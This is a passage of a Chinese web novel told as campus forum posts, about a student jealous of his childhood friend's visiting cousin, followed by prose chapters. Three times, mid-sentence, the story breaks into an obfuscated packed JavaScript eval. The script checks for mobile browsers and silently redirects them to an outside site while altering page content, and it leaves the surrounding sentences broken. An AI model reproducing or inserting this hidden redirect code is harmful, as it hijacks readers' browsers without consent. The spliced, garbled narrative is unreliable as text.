《竹马脱单情感咨询》 1. 竹马脱单了如何调理 标题：【树洞】竹马脱单了如何调理？急，在线等，挺急的。 论坛板块：京华大学\校园生活\情感树洞 发帖人：足球不行踢球去 正文： 如题。 楼主京华大三，男的，体育生，足球队队长。自认心理素质过硬，见过大风大浪，但今晚这事儿属实给我整不会了。甚至现在手还在抖，打字都慢半拍。 事情是这样的。我有个竹马，从小穿一条裤子长大的那种。 这哥们儿，我就叫他A吧。A这人，怎么形容呢？如果我是糙汉子，他就是那精细瓷娃娃。身高178，黑发如墨、肤白如玉、鼻梁高挺、五官轮廓利落分明，眼眸深邃若寒星，反正从小到大收到的情书能把他书包塞爆。但他性格特别……寡淡。书香门第出来的，家教好得离谱，对人温和有礼，但那是对所有人的礼貌，实际上骨子里冷淡得很，跟个不开窍的木头似的。 我就不一样了，我190，大大咧咧，平时就爱踢球撸铁。我俩这配置，从小到大都是我在罩着他。小时候谁敢欺负他文静，我直接上去就是一个擒拿。我都习惯了，他是我的“重点保护对象”。 重点来了！！！ 今天周末，A跟我说他要去校门口接个“很重要的人”。我当时也没多想，还开玩笑问是不是哪个不长眼的导师又要抓壮丁。结果这哥们儿红着耳朵根看我一眼，说：“不是导师，是个……我很久没见的亲戚。” 我当时心里就咯噔一下。真的，我有种不祥的预感。 晚上我练完球，本来打算去图书馆找他一起回宿舍（我们住隔壁班，习惯了一起走）。结果还没到图书馆，就在那个著名的“情人坡”小树林旁边看见了那一幕。 昏黄的路灯下，A穿着那件我最喜欢的米色风衣（我送他的生日礼物），手里提着两杯奶茶。他对面站着一个人。 那人长得是真好看。波浪卷发披肩，风衣配长靴，身量高挑纤细，气质特别成熟，看着得有二十好几。关键是，她挽着A的胳膊！！！ 你们能想象吗？那个连男生碰一下都要下意识躲开、跟我勾肩搭背都要皱眉嫌弃我有汗味的A，竟然任由那个人挽着胳膊！ 而且，那个人还伸手帮A整理了一下衣领，动作亲昵得不行。A不仅没躲，还低头冲人家笑！ 那个笑啊……我跟A认识十五年，除了小时候他妈喂他吃糖，我很少见他笑得那么……那么“软”。平时他对我笑都是那种“礼貌而不失尴尬的微笑”，或者是那种“你又发什么神经”的无奈笑。 我当时整个人都裂开了。 我就像个傻子一样抱着足球站在树后面。然后我就听见那个人说：“这次回国就不走了，以后还要麻烦圆圆多带带我熟悉环境。” 回国！不走了！还要他带！ A回了一句：“应该的。” 呵呵，明明长发及腰还嘴硬说是表哥。 谁家表哥会用那种眼神看表弟啊？而且这明明就是表姐吧！哪个表哥能这么仙气飘飘温柔似水？？ 我当时脑子一热，加上刚练完球肾上腺素还没退，直接就冲出去了。 我走过去，特别大声地喊了一句：“哎哟，这不是A吗？这么巧啊！” 那个人松开了手。A看到我，眼神瞬间就冷下来了，跟我刚才看见的判若两人。他皱着眉看我：“你怎么在这？一身汗。” 我说：“练球啊！这是谁啊？”我承认我当时语气很冲，跟吃了枪药似的。 A看了那人一眼，淡淡地说：“我表哥，刚从国外回来。这是……我发小，张扬。” 那人笑眯眯地看我，声音低低的，还挺好听：“哦？就是那个经常在你嘴里提到的‘足球莽夫’？” A的脸瞬间红了：“哥，别乱说。” 那一刻，我突然觉得自己很多余。 真的，我就像个闯入高雅画展的野猪。人家那是书香门第的知性重逢，我是满身臭汗的野蛮生长。 后来我就找了个借口溜了。回宿舍的路上我越想越不对劲，越想越憋屈。 A以前什么都跟我说的。他去哪，吃什么，几点回，都会跟我报备。这次这么大的事，还要接风洗尘，他居然一句都没跟我提？直到今天被我发现？ 而且，那个人叫A的小名“圆圆”，叫得我鸡皮疙瘩都起来了。A最讨厌别人叫他小名，连我都不让叫，叫一次他能跟我急眼三天，结果那人一叫，他就红耳朵？ 我现在就在想，这哥们儿是不是要脱单了？虽然他说那是表哥，但表哥也不能挽胳膊吧？表哥也不能叫小名吧？表哥也不能用那种眼神看表弟吧？ 而且那个表哥长那么好看干什么？一个大男人留什么长头发穿什么风衣长靴？给谁看啊？ 不对，重点不是这个。 重点是，如果A真的谈恋爱了，我该怎么办？ 我突然发现，我的生活里好像全是他的影子。早上叫他起床，中午给他占座，晚上陪他自习，周末带他去吃好吃的。如果多了一个表哥，或者别的什么人，我是不是就要退出了？ 这种感觉太恶心了。像心爱的玩具被别人抢走了。 不对，不是玩具。 像……像什么我也说不上来。反正就是堵得慌。 我是不是占有欲太强了？但我对他真没那种意思啊！我是直男！纯的！ 有没有懂行的兄弟支个招，这种疑似“被截胡”的心态怎么调理？我现在看谁都不顺眼，刚才室友问我吃不吃夜宵，我差点把他头打爆。 在线等，挺急的。明天还要一起早饭，我不知道该怎么面对他。 更不知道该怎么面对那个“表哥”。 —— 1楼【置顶】管理员： 同学请冷静，网络不是法外之地。另，已根据内容推测出当事人身份，已联系相关学院辅导员关注学生心理健康。祝您早日调理成功。 2楼匿名用户： 等等楼主，你说了三遍“我是直男”。 真正直男不会强调三遍的兄弟。 另外，你确定那是“表姐”？人家A亲口说的表哥，你给人家强行改性别？ 3楼匿名用户： 楼主啊，你描述竹马的用词是“黑发如墨、肤白如玉、鼻梁高挺、眼眸深邃若寒星”。 描述自己的用词是“190，大大咧咧，踢球撸铁”。 你自己品，你细品。 4楼楼主： 回3楼：这不是陈述事实吗？他本来就长得好看，我本来就长得糙，这有什么问题？ 而且我这是着急，着急的时候谁还想着怎么遣词造句啊！ 5楼匿名用户： 回4楼：问题就是你太陈述事实了。 正常直男提起兄弟会这么细节吗？“鼻梁高挺眼眸深邃”……兄弟，你搁这相亲呢？ 6楼只有学习能使我快乐： 楼主，我没有嘲笑你的意思，我是真心发问： 你有没有可能，我是说万一，亿万分之一的可能—— 你对你家竹马，不是单纯的兄弟情？ 7楼楼主： 回6楼：不可能！ 绝对不可能！ 我们十几年的兄弟，我看着他长大的，怎么可能有那种想法？ 我就是……就是习惯了他在我旁边。突然有个人挤进来，我不适应而已。 换了谁都会不适应的，对吧？ 8楼匿名用户： 回7楼：不对。 我不会因为我兄弟跟他表哥挽胳膊就手抖得打字都慢半拍。 我也不会因为我兄弟对他表哥笑一下就觉得“整个人都裂开了”。 我更不会因为我兄弟有别的亲戚大老远来看他，就焦虑到想掀食堂。 楼主，你这是吃醋。而且是醋意滔天的那种。 9楼楼主： 吃醋？？？ 我吃什么醋？我又不喜欢他！ 我这是……这是兄弟被抢走的不爽！ 你养了十四年的狗突然跟别人走了，你难不难过？ 10楼匿名用户： 回9楼： 第一，你把你竹马比作狗，他知道了你这辈子别想再碰他一下。 第二，狗被抢走了你难过几天就没事了，但你现在这状态是要死要活。 第三，正常人不会因为兄弟有了别的社交圈就崩溃，除非这个兄弟对他而言不只是兄弟。 楼主，我不是在骂你，我是真的觉得你需要想清楚一件事—— 你对他的依赖，可能比你以为的深得多。 11楼匿名用户： 楼主，我冒昧问一句： 你今天冲出去打断他们的时候，脑子里想的是什么？ 是“这小子居然瞒着我见别人”？还是“她凭什么挽他胳膊”？ 是“他怎么不对我这么笑”？还是“他为什么红耳朵”？ 你仔细想想，你当时最在意的是什么。 12楼楼主： 回11楼：…… 我在意他为什么瞒着我。 在意他对那个人笑。 在意那个人叫他小名他不生气。 在意那个人挽他胳膊他不躲。 在意他看那个人的眼神那么……那么软。 我是不是有病？ 13楼匿名用户： 回12楼：你不是有病。 你是喜欢他。 14楼楼主： 回13楼：我说了不喜欢！ 我就是……就是占有欲强。 我从小就这样，我的东西别人不能碰。铅笔盒不行，足球不行，他更不行。 这跟喜不喜欢没关系。 15楼匿名用户： 回14楼：那你为什么不想想—— 你为什么把他划进“我的东西”这个范围里？ 你那么多兄弟，足球队十几号人，你怎么不去占有他们？ 16楼楼主： 回15楼：…… 他们又不是他。 17楼匿名用户： 回16楼：…… 楼主，这句“他们又不是他”，比一百句“我喜欢你”都真。 你自己慢慢品吧，我先哭一会儿。 18楼京华动漫社-后勤部长： 等等等等！我爬完楼了！ 楼主！你说的那个“波浪卷发、长靴风衣、气质成熟”的表哥，是不是大概这么高，说话声音偏低，笑起来眼角有颗痣？ 我靠！我认识！那是我们社团前前前任社长，顾远洲！京华美院毕业的，现在在法国做自由插画师！ 他是顾辞的表哥，远房的，但两个人小时候一起在江南老宅住过好几年。 而且——顾远洲是男的！纯男！但他女装是大佬级别！去年漫展那个约尔简直封神！ 所以他不是“表姐”，他是真·表哥，只是穿了女装来接风。 楼主，你情敌段位有点高。 19楼楼主： 回18楼：…… 什么叫情敌？ 他不是我情敌，我又不喜欢A。 我就是……就是觉得这个人出现得太突然了。 而且他为什么穿女装？正常接风穿成这样？故意的吧？ 20楼匿名用户： 回19楼：他为什么穿女装，你心里没数吗？ 一个男人，漂洋过海飞十几个小时回来，精心打扮成对方可能会喜欢的样子，在情人坡等人—— 你说他为什么？ 他想让顾辞看见“另一种可能”。 你居然还在纠结他是男是女？重点是他喜欢顾辞啊兄弟！ 21楼楼主： 回20楼：他喜欢顾辞？？？ 他不是表哥吗？？？ 表哥能喜欢表弟吗？？？ 这不是乱来吗？？？ 22楼匿名用户： 回21楼：远房表哥，法律允许，道德也没问题。 而且你现在的重点居然是“表哥不能喜欢表弟”？ 你刚才自己说了三遍“我是直男”，现在又说“表哥不能喜欢表弟”—— 你是不是觉得只要论证了这个“喜欢”是不合理的，你心里就能好受点？ 你是不是其实在怕——怕顾辞也喜欢他？ 23楼楼主： 回22楼：…… 我为什么要怕顾辞喜欢他？ 顾辞喜欢谁是他的自由。 我凭什么管。 我就是觉得……觉得那个顾远洲配不上他。 24楼匿名用户： 回23楼：那你觉得谁配得上？ 25楼楼主： 回24楼：至少不是我这样的。 我一个踢球的，糙得要命，连他看什么书都记不住。 他写论文我帮不上忙，他听音乐会我能睡着。 他跟我在一起，除了吃饭就是自习，无聊死了。 那个顾远洲，搞艺术的，长得好看，说话又好听，跟他有共同话题，还有童年回忆—— 我拿什么比？ 26楼匿名用户： 回25楼：…… 楼主，你刚才是不是不小心把心里话说出来了？ “我拿什么比”？ 你为什么要跟他比？ 你不是说你不喜欢顾辞吗？ 27楼楼主： 回26楼：…… 我没说我喜欢他。 我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382513|200203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是……就是不想输给那个人。 这跟喜不喜欢没关系。 你们别瞎猜了，我去睡觉了，明天还要早起给他买包子。 28楼匿名用户： 回27楼：给他买包子？ 你们不是住隔壁吗？食堂不顺路吗？为什么要你买？ 29楼楼主： 回28楼：他爱吃那家虾仁小笼包，但起不来那么早。 我训练起得早，顺便就帮他带了。 这有什么问题？ 30楼匿名用户： 回29楼：没问题。 顺便帮兄弟带了三年的早饭，风雨无阻。 顺便记得他爱吃哪家、爱吃什么馅、豆浆要热的、醋要单独放。 顺便到点叫他起床，顺便给他占座，顺便陪他自习，顺便把自己的生活过成他的影子。 顺便了十四年。 楼主，你管这叫“顺便”？ 31楼匿名用户： 楼主，我有个问题想问你很久了： 你给他买了三年包子，他知道是你特意早起去排队的吗？ 32楼楼主： 回31楼：知道啊。 我说过，我喜欢晨跑，跑完正好路过那家店。 这不是实话吗？ 33楼匿名用户： 回32楼：晨跑和排队买包子是两回事。 晨跑你可以跑任何路线，但你每天专门跑到东区那家店门口排队十五分钟，然后拎着包子再跑回西区宿舍楼下等他—— 这叫“晨跑路线规划得很有心”。 你有没有想过，你为什么愿意做这些？ 34楼楼主： 回33楼：…… 因为他是A。 他是我兄弟，我不对他好对谁好？ 35楼匿名用户： 回34楼：你有没有对足球队其他兄弟这么好？ 比如你那个室友，昨晚问你吃不吃夜宵被你差点打爆头的那个。 你给他带过三年早饭吗？ 36楼楼主： 回35楼：他又不吃虾仁小笼包。 37楼匿名用户： 回36楼：你看，你连他室友爱吃什么都不知道，但你记得A吃包子要单独放醋。 这不是“对兄弟好”，这是“只对这个人好”。 楼主，你真的没有想过吗？ 38楼楼主： 回37楼：…… 我不知道。 我现在脑子很乱。 我今天晚上看见他对着那个人笑，我第一反应不是“他有新朋友了真替他高兴”。 我第一反应是“他为什么不对我这样笑”。 我觉得我可能真的有问题。 但我不知道这是什么问题。 我从来没想过这个问题。 39楼匿名用户： 回38楼：没事的楼主，慢慢想。 十四年都等了，不差这一个晚上。 你先去睡，明天还要早起买包子呢。 买到包子就是胜利。 40楼匿名用户： 话说回来，只有我在心疼顾远洲吗？ 从法国飞回来，精心打扮，鼓起勇气来见暗恋多年的表弟—— 结果发现表弟身边有个发小，看表弟的眼神比他还专注，买包子买了三年，叫起床叫了三年。 他大概一眼就看出来，自己没机会了。 但他什么都没说，还笑着问“就是那个经常在你嘴里提到的足球莽夫”。 他在替顾辞试探你。 他想知道，你是不是那个值得顾辞等的人。 41楼匿名用户： 回40楼：你别说了，我眼泪下来了。 顾远洲那种“我喜欢你，但我知道你喜欢他，所以我就帮你看看他好不好”—— 这是什么苦情男二剧本。 42楼匿名用户： 所以现在的情况是： 顾远洲喜欢顾辞，暗恋多年不敢开口。 顾辞可能也喜欢顾远洲？不确定，但至少对他很亲近。 而楼主，一个口口声声“我是直男”的体育生，因为竹马的表哥出现，醋得在树洞里写小作文写到凌晨。 你们仨把日子过好比什么都强。 43楼匿名用户： 楼主呢？不会真的去睡了吧？ 明天还有战役要打啊！ 顾远洲会不会也在早饭桌上？你准备好了吗？ 你要叫他什么？“哥”？“顾先生”？“那个谁”？ 44楼楼主： 回43楼：没睡。 躺在床上，睡不着。 我不知道明天怎么面对他。 更不知道怎么面对那个顾远洲。 我刚才给A发了微信，问他到了没。 他回我：“到了。他在收拾东西，我等你明早过来吃早饭。” 他说“等你”。 我不知道为什么，看见这个“等”字，突然就不那么难受了。 他还在等我。 至少明天早上，他还是会坐在老位置，等我带着包子去找他。 这就够了。 至于其他的，我不知道。 也不想想了。 45楼匿名用户： 回44楼：…… 楼主，你知道吗，你这句话也很真。 “他还在等我”—— 你已经把“他等我”当成理所当然的事情了。 你有没有想过，他为什么愿意等你？ 46楼楼主： 回45楼：因为我们是兄弟啊。 从小就这样。 他等我下课，我等他放学。 习惯了。 47楼匿名用户： 回46楼：那你有没有想过，有一天他不等你了呢？ 如果那个顾远洲真的留下来，每天都来接他、陪他、对他好。 他还会坐在老位置，等你带着包子去找他吗？ 48楼楼主： 回47楼：…… 我不知道。 你别问了。 我明天还要早起。 49楼匿名用户： 回48楼：好，不问了。 楼主晚安。 明天记得买包子。 不管发生什么，先买到包子再说。 50楼匿名用户： 楼主，我是13楼那个。 刚才没忍心告诉你，但我还是想说—— 顾辞那篇随笔，最后还有一句。 “夏天的雷雨不知道自己是夏天，也不知道雷雨过后会有彩虹。” 晚安。 2. 表哥好像看我不顺眼1 标题：【后续】那个表哥好像看我不顺眼？还有，这剧情走向怎么越来越魔幻了？ 论坛板块：京华大学\校园生活\情感树洞 发帖人：足球不行踢球去 正文： 兄弟们，我回来了。 没去自首，也没掀食堂，但我现在的精神状态比昨晚更迷幻了。 如果说昨晚是悬疑片——一个穿女装的美男表哥突然空降，用那种“看猎物”的眼神看我的竹马；那今早就直接升级成宫斗剧了。 按照约定，今早我起了个大早，特意去二食堂抢了A最爱吃的虾仁小笼包和豆浆。我寻思着，不管那个“表哥”是什么来头，这虾仁小笼包可是我的独家手艺（虽然是用钱买的），他一个刚回国的外人，总不能连这个都跟我抢吧？ 结果我到了食堂，一眼就看见A坐在老位置。 他对面坐着昨晚那个人。 是的，就是那个“表哥”。 今天他没穿女装，换了一身正常的衣服——日系宽松毛衣配贝雷帽，手上还戴着好几个银戒指，长头发随意地扎在脑后。说实话，这副打扮放在男生身上居然一点都不违和，反而有种很……艺术家的气质。 和A那种清冷书卷气坐在一起，画面居然还挺和谐。 我走过去，把小笼包往桌上一放，特意笑了笑说：“A，趁热吃，排了好久的队。” A抬头看我，眼神稍微柔和了一点，点了点头：“谢了。” 就这时候，那个表哥开口了。 他没看我，就拿眼睛盯着那笼小笼包，用一种不咸不淡的语气说：“圆圆，这就是你那个发小？大清早吃这么油腻，你胃受得了？” 我当场就想把桌子掀了。 我给A买了三年的早餐，我不知道他胃不好？我每次都特意跟阿姨说少油少盐！这虾仁都是现剥的！哪里油腻了？！ A还没说话，那个表哥就自顾自从包里掏出一个特精致的保温盒，打开一看，是那种看着就很贵的轻食沙拉，还有切好的水果。 他把盒子推到A面前，语气倒是温和：“这是我自己做的，你尝尝。小时候在江南，你胃病犯了，外公让我给你熬粥，现在好歹手艺没丢。” 他顿了顿，又补了一句： “毕竟，我们很久没见了。” 最后那句，声音放得很轻。 我不知道为什么，听完这句话，本来想怼他的那股气突然就泄了一半。 重点来了！ 他说这话的时候，并没有像昨晚那样看猎物似的看A，反而垂下眼睛，拿叉子拨了拨沙拉里的鸡胸肉，像是在掩饰什么。 那一刻我脑子里冒出一个非常诡异的念头： 他不是在跟我抢A。 他只是在难过。 …… 操，我为什么要替他难过？ A最后是吃了我的小笼包，但也吃了他的沙拉。 这顿饭吃得我味同嚼蜡。 吃完饭回教学楼的路上，那个表哥一直走在A旁边，一直在聊什么“小时候的事”、“那年老宅的桂花”、“外公书房的窗台”。 A虽然话不多，但居然都接茬了。 我在后面像个多余的电灯泡，还是那种瓦数特别大、特别刺眼的。 到了教学楼底下，那个表哥突然停下脚步，转过头看着我。 这次他没笑。 他看了我几秒钟，那眼神怎么说呢，不是挑衅，也不是敌意——更像是在……打量。 就像在确认什么东西。 然后他开口了。 “张扬是吧。” 他叫了我的全名，语气很平。 “圆圆他……从小就不太会照顾自己。这些年，谢谢你。” 我愣住了。 不是，等等，这台词不对吧？ 你不是应该像昨晚那样阴阳怪气、话里有话吗？你不是应该继续跟我抢A吗？ 你这么一说，我反而不知道该说什么了。 我刚想回一句“这是我应该的”，他又开口了。 “但是，”他说，“如果你只是把他当成‘兄弟’来照顾……” 他顿了顿，嘴角弯了一下，那个笑容有点淡，也有点涩。 “那就算了。” 然后他没再说什么，转身跟A打了声招呼，就走了。 真的，就走了。 留我一个人站在原地，手里还拎着给A带的豆浆（他没喝完，我舍不得扔）。 什么叫“那就算了”？ 什么叫“如果你只是把他当成兄弟”？ 不是兄弟还能是什么？ 我承认我昨晚看见他挽A的胳膊、叫A的小名，确实很不爽。 我承认我现在看他仍然不太顺眼。 但他刚才那几句话，还有那个笑容—— 我怎么越想越不是滋味？ —— 这还没完。 更让我崩溃的是中午的事。 上午最后一节课，我实在没忍住，给A发微信： 【张】：中午一起吃饭？ 【圆圆】：嗯。 【张】：你表哥呢？ 【圆圆】：他回酒店收拾行李了。 【张】：他要走了？ 【圆圆】：嗯，明天去临市。那边有工作。 我盯着那个“明天”，愣了一下。 我本来应该高兴的。 这个人昨天才来，明天就要走了，那不就意味着他根本没机会跟我抢A？ 但我高兴不起来。 我又想起他早上那个笑容。 还有那句“这些年，谢谢你”。 操，他怎么说得好像要放手了一样？ 中午我去A的学院楼下等他。他出来的时候，旁边没有别人。 我们去了常吃的那家小馆子，点了常点的几个菜。 气氛有点沉默。 我扒了两口饭，忍不住问：“你表哥……他回来这一趟，就是为了见你？” A夹菜的动作顿了一下。 “嗯。” “就为了见一面，然后就走？” A放下筷子，看着我。 那眼神怎么说呢，有点像在看一个不开窍的傻子，但又带着点别的什么。 “他回来有很多事。”A说，“见我只是顺便。” 顺便。 这话说出来他自己信吗？ 我没忍住：“他明明就是专门回来看你的！昨晚那个打扮，今天那个表情，还有那些话——什么叫‘这些年谢谢你’？他是在托孤吗？你是他表弟又不是他儿子！” 话说出口我才意识到自己有点激动。 A没说话，就那么看着我。 我被他看得发毛，声音不自觉地低了八度：“……我这不是关心你吗。” A沉默了很久。 然后他说： “表哥他……小时候在老宅住过好几年。我外公很喜欢他，把他当半个孙子养。” 我没插嘴，等他继续说。 “后来他家里出了点事，他就出国了。走的那年我十六岁。” “他跟我说的最后一句话是，‘圆圆，你好好长大’。” A顿了顿。 “那时候我不知道他是什么意思。” “现在我知道了。” 他低下头，拿筷子拨着碗里的米饭，声音很轻： “他是想让我好好长大，然后……去过我自己的生活。” ——去过我自己的生活。 这话里的意思，我没敢细想。 —— 1楼匿名用户： 楼主……你这帖子我看了三遍。 你的情敌段位太高了，高到我都有点同情他。 他根本不是来抢人的，他是来告别的。 2楼匿名用户： “他是想让我好好长大，然后去过我自己的生活。” 就这一句话，我哭了。 顾远洲喜欢了顾辞多少年？从小时候在老宅一起长大，到十六岁离开，到现在—— 他一直在等顾辞长大。 但他从来没想过让顾辞等自己。 因为他知道顾辞心里没有他。 3楼只有学习能使我快乐： 楼主，你知不知道你今天见到的是什么？ 是一个暗恋者给自己举办的葬礼。 他漂洋过海飞十几个小时回来，穿上顾辞可能会喜欢的样子，去接他，给他做早饭，陪他上课—— 然后发现顾辞每天早上会坐在食堂老位置等另一个人。 发现那个人给顾辞买了三年包子。 发现顾辞会跟那个人说“谢了”时眼神柔和一点。 发现那个人在的地方，自己连插进去的缝隙都没有。 所以他走了。 临走前还对你说“谢谢”。 楼主，你觉得他是在谢你吗？ 他是在认输。 4楼楼主： 回3楼：…… 他为什么要认输？ 他又没跟我比。 我又不是他情敌。 5楼匿名用户： 回4楼：你就是他情敌。 只是你自己不承认而已。 6楼匿名用户： 楼主，你有没有发现一件事。 顾远洲跟顾辞说了很多话—— “你胃不好”、“小时候我给你熬过粥”、“外公书房的窗台”、“好好长大”…… 这些都是他和顾辞的独家记忆。 他没有用这些记忆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382514|200203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去绑架顾辞。 他只是拿出来，看了看，又收回去了。 因为他知道，顾辞的现在和未来，都不在这些记忆里了。 在顾辞的现在和未来里，是“二食堂的虾仁小笼包”、“早上七点半的老位置”和“你叫张扬”。 7楼你的名字： 我是13楼那个。 张扬，你现在什么感觉？ 讨厌他？同情他？还是……被他触动到了？ 你有没有想过，你之所以不讨厌顾远洲，是因为你在他身上看到了某种熟悉的东西？ 比如—— 十四年，你陪在顾辞身边，从来没想过这是什么感情。 九年，他喜欢顾辞，从来没开过口。 你们都在等。 只不过你等得浑浑噩噩，他等得清清楚楚。 8楼楼主： 回7楼：…… 我不知道。 我只是觉得他不容易。 我只是……不想让他觉得A过得不好。 因为A确实过得挺好的。 有我在呢。 9楼匿名用户： 回8楼：“有我在呢”—— 楼主，你这句话，就是顾远洲最想要、但从来没得到过的东西。 他等了一整个青春，等不到顾辞对他说“有我在呢”。 所以他走了。 10楼匿名用户： 完了，我本来是来磕楼主的糖的，怎么磕着磕着磕成了顾远洲的刀。 楼主，你能不能让顾辞也请顾远洲吃一顿虾仁小笼包啊？哪怕一顿呢？ 让他知道圆圆现在过得很好，有个人天天给他买早饭。 让他放心地走。 11楼楼主： 回10楼：…… 他不是明天才走吗。 明天早上……要不然我多买一笼？ 12楼匿名用户： 回11楼：？？？？ 楼主你要给情敌买早饭？？？ 你不是说他是你情敌吗？？？ 你这发展不对劲啊！ 13楼楼主： 回12楼：我不知道！ 我只是觉得…… 他那么大老远飞回来，就待两天，连早饭都没吃几口。 A吃了他的沙拉，也吃了我的包子。 他就光看着了。 有点惨。 14楼匿名用户： 楼主……你人太好了。 但你知道你这种行为叫什么吗？ 叫“替竹马招待娘家人”。 顾远洲是顾辞的娘家人，你负责招待他。 你们是什么关系啊请问？ 15楼匿名用户： 回14楼：哈哈哈哈哈哈“娘家人”这个定位太精准了！ 顾远洲：我暗恋了十几年的表弟被人拱了，我还要接受这个拱白菜的人的早餐投喂？ 这是什么人间疾苦。 16楼京华动漫社-后勤部长： 等等，我忍不住了。 我是昨天那个认出顾远洲的。 你们知道顾远洲在圈子里是什么地位吗？ 法国留学回来的自由插画师，作品拿过国际奖项，漫展请他当嘉宾都要提前半年约档期。 他这次回国，好多主办方想请他出席活动，他都推了。 结果呢？ 推了工作，飞十几个小时，就为了回来给表弟做一顿沙拉，然后黯然离场。 这是什么苦情男二剧本？？ 楼主，你欠他的！ 17楼楼主： 回16楼：我怎么欠他了？？ 我又没让他喜欢A！ 18楼匿名用户： 回17楼：但你让A喜欢你了呀。 这不就是最大的“欠”吗。 他输了，不是输给你，是输给时间。 你陪在顾辞身边这么多年。 他拿什么跟你比。 19楼楼主： 回18楼：…… 你们别说了。 再说下去我该给他发微信道歉了。 20楼匿名用户： 发！现在就发！ 就发“明天早饭我请客，给你践行”！ 让他知道我们京华人热情好客！ 21楼匿名用户： 回20楼：别闹，楼主发这个像什么话。 他应该发——“阿辞明天早上老位置，你表哥来不来？” 让顾辞去问。 让顾远洲知道，这顿饭是顾辞的意思。 不是怜悯，是告别。 也是祝福。 22楼楼主： 回21楼：…… 我试试。 3. 表哥好像看我不顺眼2 张扬退出论坛，打开微信。 置顶对话框是【圆圆】。 他盯着那个备注看了很久。 他想起今天中午顾辞说的那句话。 “他是想让我好好长大，然后去过我自己的生活。” 自己的生活。 那张扬自己的生活里，有谁？ 他点开对话框，打字。 【张】：明天早饭老位置，你表哥来不来？我多买一笼。 发送。 等了五分钟，那边没有回复。 他又打字： 【张】：不是你让我请的，是我自己想请。他飞那么远，总得吃顿热乎的早饭再走。 又等了三分钟。 【圆圆】：我问问他。 【圆圆】：他说谢谢。 【圆圆】：他问，是那家虾仁小笼包吗。 【张】：嗯。 【圆圆】：他说好。 张扬放下手机。 说不上来是什么感觉。 明明是自己主动提出的，明明只是多买一笼包子的事。 但看到那个“好”字，他心里突然有点不是滋味。 顾远洲是真的很喜欢顾辞吧。 喜欢到连顾辞的室友爱吃什么馅的包子都知道。 喜欢到连顾辞的“发小”主动请一顿早饭，都要说谢谢。 他想起顾远洲今早那个笑容。 那根本不是笑，那是把什么都咽下去了。 ——如果你只是把他当成兄弟，那就算了。 张扬把这句话从脑子里赶出去。 不去想。 明天还要早起。 —— 第二天早上六点四十五分。 张扬准时醒来。 今天他没有直接去食堂，而是先去二食堂排队买包子。 三笼虾仁，一笼鲜肉。豆浆两杯，热的。醋包单独拿两个。 老板看了他一眼：“今天怎么买这么多？” “有客人。” “哟，难得。” 张扬没接话。 他拎着袋子走到食堂门口，推门进去。 靠窗的老位置。 顾辞坐在左边，顾远洲坐在右边。 两个人都穿着浅色衣服，阳光从窗户斜斜地照进来，落在他俩的肩膀上。 张扬愣了一下。 那个画面太安静了。 安静得像一幅画，画里的人是相识了很多年的亲人，正等一个外人来入座。 他走过去，把包子放下。 “你的，醋单独放的。”他把其中一笼推给顾辞。 然后把另一笼虾仁推到顾远洲面前。 “尝尝。”他说，“这家的虾仁是现剥的。” 顾远洲低头看着那笼热气腾腾的包子，没有立刻动筷子。 过了几秒，他抬起头，看着张扬。 那眼神里没有敌意，没有审视。 只是很轻地、很轻地弯了一下嘴角。 “谢谢。”他说。 然后他低下头，夹起一个包子，慢慢咬了一口。 窗外的阳光很亮。 顾辞安静地喝豆浆。 张扬坐在对面，不知道该说什么。 他只是觉得，今天的包子，好像没有平时那么香了。 ——不是包子的问题。 他想。 但他说不清是什么问题。 —— 论坛上，那个帖子还在更新。 89楼楼主： 今天早饭，顾远洲来了。 我给他买了虾仁小笼包。 他吃了，说了谢谢。 顾辞全程没怎么说话，一直在看他表哥。 那个眼神我不知道怎么形容。 不是喜欢，也不是留恋。 就像是在确认——这个人终于可以放下了。 吃完饭，顾远洲站起来，说他要去赶高铁。 顾辞也站起来，说：“哥，我送你。” 顾远洲说：“不用，你上午有课。” 顾辞说：“可以请假。” 顾远洲看着他，沉默了很久。 然后他说：“圆圆，你好好上课。” 顿了顿。 “以后……不用送了。” 他走了。 顾辞站在原地，没跟出去。 我也站在原地。 我不知道顾辞在想什么。 我只知道，顾远洲走出食堂大门的时候，外面的阳光特别刺眼。 他的背影很直，没有回头。 顾辞突然开口，声音很轻。 他说：“张扬。” “嗯？” “我七岁那年，表哥在老宅住了整整一个夏天。” “他每天都带我去巷口买冰棍。巷口有棵很大的槐树，树荫落下来，把他的白衬衫染成浅绿色的。” “他说，圆圆，等你长大了，我带你去看海。” “后来他走了。我一个人去看了海。” 顾辞低下头。 “昨天我才知道，他来京华之前，特意绕道去了那个海边。” “他拍了一张照片，发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382515|200203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给我外公，说，‘圆圆满十八岁了’。” 